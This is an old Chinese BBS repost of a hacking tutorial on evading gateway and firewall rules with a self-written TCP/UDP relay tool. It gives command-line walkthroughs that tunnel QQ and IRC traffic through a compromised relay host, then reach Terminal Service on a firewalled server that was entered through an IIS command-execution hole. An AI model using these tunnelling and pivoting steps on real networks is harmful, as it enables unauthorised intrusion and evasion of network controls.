荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: kid (晤), 信区: Program
标  题: 如何突破网关的种种限制与外界自由通讯(3)
发信站: 荔园晨风BBS站 (Sun Mar 31 09:38:42 2002), 转信

发信人: XSL (eXtentedStyleLanguage), 信区: XML
标  题: 如何突破网关的种种限制与外界自由通讯(3)
发信站: 逸仙时空 Yat-sen (Fri Oct 19 13:15:38 2001) , 站内信件

如何突破网关的种种限制与外界自由通讯
作者:ey4s<ey4s@21cn.com>

<<第三部分:通过TCP和UDP socket数据转发突破限制>>
OK!我们在第一部分后面提到一种情况,网管在网关设置,把UDP包全部丢弃,限制

们使用QQ。这时候,我们要突破就比较麻烦一点了,不过还是有办法的,前提是允
许TC
P

数据通过。这样我们可以用TCP和UDP socket数据转发来突破,为此我写了个小程
序来实

现此功能,程序代码和注释附在后面。程序名称为SuperAgent,xixi,我们先来看
看此


序的用法:
E:\ >SuperAgent.exe
SuperAgent use for TCP and UDP socket data redird
Power by ey4s<ey4s@21cn.com>
http://eyas.3322.net
2001/6/7
usage: SuperAgent.exe <mode>
[mode]
-t <TargetIP> <TargetTCPPort> <LocalUDPPort>
-u <TargetIP> <TargetUDPPort> <LocalUDPPort> <LocalTCPPort>
此程序有两种工作模式:
<1>工作模式[-t],提供三个参数,目标IP地址,目标监听的TCP端口,和本地监听

UDP端口。
<2>工作模式[-u],提供四个参数,目标IP地址,目标监听的UDP端口,本地监听的

UDP端口,本地监听的TCP端口。
OK!如果我们需要顺利的突破网关上QQ,我们需要一台互联网上的肉鸡的协助。假

我们的肉鸡的IP是202.202.202.202,我们的网关的IP是101.101.101.101,咱的机
器在


的IP为192.168.0.81,腾讯的QQ的服务器的IP是202.104.129.253,监听的是
UDP8000 端

口。我们先在肉鸡运行SuperAgent,如下:
E:\>SuperAgent -u 202.104.129.253 8000 4000 1234
OK!Work mode is [u].
Listen TCP 127.0.0.1:1234 ok!
************OK!SuperAgent working now**************
Wait for ey4s connect to me......:)
然后在本地运行SuperAgent,如下:
E:\>SuperAgent.exe -t 202.202.202.202 1234 8000
OK!Work mode is [t].
************OK!SuperAgent working now**************
Bind UDP port 8000 ok.
Wait for UDP socket have data to be recv.
然后启动QQ,把服务器地址设置为127.0.0.1,端口8000,上线。怎么样?虽然网
管封
杀了全部UDP包,但我们还是可以上QQ了吧?哈哈哈哈~不过这样QQ收发信息都是

过服务器中转的,呵呵。
OK!我来解释一下流程。
<1>肉鸡运行SuperAgen.exet后,监听TCP 1234端口,然后阻塞,直到本地运行的

SuperAgent.exe连接上来。
<2>本地运行SuperAgent.exe后,监听UDP 8000端口,伪装成QQ的服务器,阻塞,

直到QQ连接上来。
<3>QQ请求上线,发送数据到我们伪装的QQ Server 127.0.0.1:8000。
<4>本地运行的SuperAgent.exe收到QQ发送过来的UDP数据后,连接到肉鸡监听的
TCP 1234端口
<5>本地的SuperAgent把UDP数据通过TCP socket发送到肉鸡
<6>肉鸡接收到本地发送来的TCP数据后,通过UDP socket转发到真正的QQ
Server
<7>肉鸡接收真正的QQ Server发送回来的数据后,通过TCP socket发送到本地的
TCP
socket
<8>本地的TCP socket接收到肉鸡发送过来的TCP socket数据后,通过UDP socket

发到QQ
<9>重复5-8步骤
嗯!我表达的好像很不清楚。:((没有办法啦,水平有限的很,各位将就吧,呵
呵。


OK!第一种情况是允许TCP数据通过,封闭所有UDP数据。我们来看第二种情况,封

闭所有TCP数据,只允许UDP数据。这时候可能有人要问:要是TCP和UDP数据都不让

通过,那怎么办?呵呵,TCP和UDP全部禁止,这叫网关吗?真这样的话,我们还是
洗洗

回家睡觉吧,呵呵。不过如果ICMP允许的话,可以用ICMP来转发的,呵呵。
继续说第二种情况的解决办法。我们还是利用SuperAgent这个程序来达到我们的目
的,

当然少不了一台互联网上的肉鸡的协助了。
我们先在本地运行:
E:\>SuperAgent.exe -u 202.202.202.202 5000 6000 6667
OK!Work mode is [u].
Listen TCP 127.0.0.1:6667 ok!
************OK!SuperAgent working now**************
Wait for ey4s connect to me......:)
202.202.202.202是肉鸡的IP,5000是肉鸡监听的UDP端口,6000是本地用来于肉鸡

通讯的UDP端口,这个可以随便填,最后面那个6667 是本地监听的TCP端口,这个
也可
以随便填,一会儿在HIRC里面设置服务器里面填为和这个一致就可以了。
然后我们在肉鸡上这样运行:
E:\>SuperAgent.exe -t 202.109.72.40 6667 5000
OK!Work mode is [t].
************OK!SuperAgent working now**************
Bind UDP port 5000 ok.
Wait for UDP socket have data to be recv.
202.109.72.40是irc.sunnet.org的IP,6667是他监听的TCP 端口,这是真正的
IRC服
务器。5000是肉鸡监听的UDP端口。
OK!启动HIRC,服务器地址填上127.0.0.1:6667,上线了吧?哈哈。
工作流程:
<1>本地SuperAgent监听TCP 6667端口,阻塞,直到HIRC连接上来
<2>肉鸡SuperAgent监听UDP 5000端口,阻塞,直到本地的SuperAgent有数据发送


<3>HIRC连接到本地伪装的IRC Server的TCP6667
<4>本地SuperAgent接收到HIRC发送来的TCP数据后,通过UDP socket转发到肉鸡
监听的UDP socket
<5>肉鸡监听的UDP socket接收到本地发送过来的数据后,连接到真正的IRC
Server
的TCP 端口,然后通过TCP socket把数据发送到IRC server
<6>肉鸡接收IRC Server返回的TCP 数据,通过UDP socket转发到本地的UDP
<7>本地接收到UDP数据后,通过TCP socket转发到HIRC
<8>重复4-7,第5步连接到IRC Server的TCP 端口的不重复

用TCP和UDP socket数据转发有时候也可以用来突破防火墙的。不知道各位看过我

的<<突破TCP-IP过滤-防火墙进入内网>>没有?其实这个程序的利用可以说是这个
系列的

第三。这个思路早就有的,而且程序当时也写出来过,不过很苯,现在的是经过优
化的

本。
当然,我水平实在太菜,程序还是写的很烂,请各位多指教。
OK!我们来看看这种情况。以下是网络拓朴图:



假设:[其实这样情况我遇到过,但没有以下说的复杂而已]
202.2.2.2是我们授权入侵的目标,前面的FireWall的过虑规则是只允许外面访问

202.2.2.2的80,不允许202.2.2.2TCP连接出去,UDP数据包不做过滤。经过我们检
测发


202.2.2.2的IIS有漏洞,我们可以通过80执行命令,而且打开了TermService服务
,登录


证漏洞没有补。但是由于有FW的阻挡,所以我们是连接不上目标的TermService来
取得
admin 权限的。而且FW不允许TCP反向连接,这样,我们只能通过UDP和TCP
socket
数据转发来达到目的了。[实际上我遇到的情况是允许TCP反向连接,详细情况见
<<突破

TCP-IP过滤-防火墙进入内网(二)>>,在我的主页上]
OK!这次我们不需要肉鸡的协助了,呵呵。我们先在本机192.168.0.2上运行:
E:\>SuperAgent.exe -u 202.2.2.2 5000 6000 3389
OK!Work mode is [u].
Listen TCP 127.0.0.1:3389 ok!
************OK!SuperAgent working now**************
Wait for ey4s connect to me......:)
202.2.2.2是目标的IP,5000是目标IP监听的UDP端口,6000是本地监听的UDP端口

3389是本地监听TCP端口,伪装成TermService
然后我们在目标上通过80运行SuperAgent.exe -t 127.0.0.1 3389 5000,参数就
不用解


了吧。我来说说工作流程:
<1>本地监听TCP 3389端口,阻塞,知道TermClient连接上来
<2>在目标机器上监听UDP 5000端口,阻塞,直到有UDP数据发送过来
<3>用TermClient连接本地的3389
<4>本地的SuperAgent把从TermClient接收到的TCP数据,通过UDP socket发送到目
标的

UDP
<5>目标的UDP socket接收到数据后,连接到本地的TCP 3389,真正的
TermService
<6>目标把接收到的UDP数据通过TCP socket转发给TermSerivice
<7>目标接收TermService返回的TCP数据,通过UDP socket发送到攻击者的UDP
<8>本地的UDP socket接收到目标UDP发送过来的数据后,通过TCP socket转发给
TermClient
<9>重复4,6,7,8
OK!启动TermClient,连接本地的3389,出来的是防火墙后面的目标的终端服务的
界面
吧?哈哈哈哈。

OK!SuperAgent的完整的C程序代码如下,我加了很多注释,别嫌偶烦哦,写的烂,

多指教:))



--
※ 来源:.逸仙时空 Yat-senWWW bbs.zsu.edu.cn. [FROM: 192.168.45.225]

--

        ★        Programs have two kinds of value:               ★
        ★        What they can do for you today                  ★
        ★        and what they can do for you tomorrow!          ★
        ★                                 ★ Kent Beck ★        ★


※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.32.62]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店